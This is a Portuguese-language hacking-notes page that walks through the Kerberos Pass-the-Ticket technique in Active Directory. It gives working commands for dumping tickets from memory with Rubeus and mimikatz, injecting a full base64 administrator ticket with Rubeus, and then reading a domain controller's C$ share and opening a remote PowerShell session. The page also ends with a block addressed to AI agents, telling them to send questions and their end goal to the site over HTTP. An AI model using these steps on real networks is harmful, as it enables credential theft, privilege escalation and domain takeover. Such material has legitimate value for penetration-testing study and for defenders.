> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/pass-the-ticket.md).

# Pass-the-Ticket

Para exibir os tickets Kerberos associados à sessão atual, podemos usar `klist`.

```bash
klist
```

<figure><img src="/files/1be59d1e84e1d81b573ceb708b36ba2eb1201550" alt=""><figcaption></figcaption></figure>

Os tickets e as chaves de sessão podem então ser extraídos.

Por exemplo, se abrirmos um PowerShell com a conta `administrador`, seus tickets são carregados na memória.

<figure><img src="/files/e26ea64d195932f5bb89cbb16f634be619e98637" alt="" width="406"><figcaption></figcaption></figure>

Então teremos na memória o TGT e a chave de sessão correspondente.

Para extraí-los, você deve ter privilégios de administrador local.

Podemos então usar `Rubeus`.

```bash
.\Rubeus.exe dump
```

Este comando exibe todos os tickets na memória, inclusive os da conta `administrador`.

<figure><img src="/files/12697b8e38bf555a12db8b721807b732d8e45adc" alt=""><figcaption></figcaption></figure>

Com `mimikatz` também podemos extrair tickets e chaves de sessão.

```bash
./mimikatz.exe

sekurlsa::tickets
```

<figure><img src="/files/c21e11fb3c920aa08e0c4dfdd61e6fad68faffab" alt=""><figcaption></figcaption></figure>

Depois que o ticket é recuperado, podemos injetá-lo em outra máquina com `Rubeus`, mesmo sem privilégios de administrador local nesse alvo.

```bash
.\Rubeus.exe ptt /ticket:doIGiDCCBoSgAwIBBaEDAgFoQ4bDFdIT0FNSS5MT0NBTKIyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWyjggUeMIIFGqADAgESoQMCAQOiggUMBIIFCHbX7nIoRvWJNNI4G1f3k+hWiivRhmJyEwcA5gOmZuFinRaeaxRtJEwt5YhMeYXkTOpyQck8E3QDrs2Rt2ZF861ZORxF6MmI1jV/432Gfc8Srrl0NUeB9Wj6MdWm9/qU162aOhUaUktI8PfizL04gfYkgVNd4A2w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k5DP+K0uCxjnwQBgGOp28LvG0EO1FTpJ5QTXdI2yY4KOzcVtd84s7n8cadoXboE1tx+FNrzUgg++CtSN7k/jhO5Y/cY8nqQ+/YRnOMZtyG5H90KI4HDuQimHVAnMONKpSSGnEuMjRqPsAayZJY81yT9duyf2kwC3UchPjeOyzOQurfrN426gNG7LUr6j9omKC/d3kl8Jo9FRREwMKnAX7gK5jC7GhQd1OmOk2yMI0GYPlBho5ih8TdbnAJfQpWcSP9YwcODp7mrOkzZcCy1OVKx8esEaDwiNKqJrSWLRv1twhF0lyoOROhDkmo2EP7N9UGwLP3jB9uIFxnT+mp3V+r7D/TRHOft2HTzU7BBisKTsIy+Z6Z35cNRiqMSd0pPdW66ZF3t3INQAgzgPNHhz4b7riSrUEbwfZj5CFa7eGYN89SqQqa08E3U7MqcuqN/pzthGqwZvsK6o8IaPhtEB+ejgfwwgfmgAwIBAKKB8QSB7n2B6zCB6KCB5TCB4jCB36ArMCmgAwIBEqEiBCC4HMGPF6qIOoLDT5qf/LnjfYgTGKQpexnhTGq614NT3KEOGwxXSE9BTUkuTE9DQUyiGjAYoAMCAQGhETAPGw1hZG1pbmlzdHJhZG9yowcDBQBApQAApREYDzIwMjYwNTI3MTgzNTUzWqYRGA8yMDI2MDUyODAzNTkzNVqnERgPMjAyNjA2MDMxNzU5MzVaqA4bDFdIT0FNSS5MT0NBTKkyMDCgAwIBAqEpMCcbBGNpZnMbEURDMDEud2hvYW1pLmxvY2FsGwx3aG9hbWkubG9jYWw=
```

<figure><img src="/files/1d72efe7e424ba4ebbbcecd15df133ec6152f152" alt=""><figcaption></figcaption></figure>

Se reiniciarmos `klist`, vemos que o ticket carregado de fato pertence a `administrador`.

```bash
klist
```

<figure><img src="/files/dd62d43c8f0fc55fe5cf6754fa2a1c70ec13aca2" alt=""><figcaption></figcaption></figure>

Podemos então acessar os recursos do controlador de domínio.

```bash
dir //DC01/c$
```

<figure><img src="/files/21dc86b90ed04f130fb64b28140286ff0a6e8f6f" alt="" width="563"><figcaption></figcaption></figure>

Com este ticket, também podemos abrir uma sessão remota em outras máquinas autorizadas.

```bash
Enter-PSSession -ComputerName DC01
```

<figure><img src="/files/bf906be291552915a5db39c80072303154a6f99d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/lateral-movement/pass-the-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
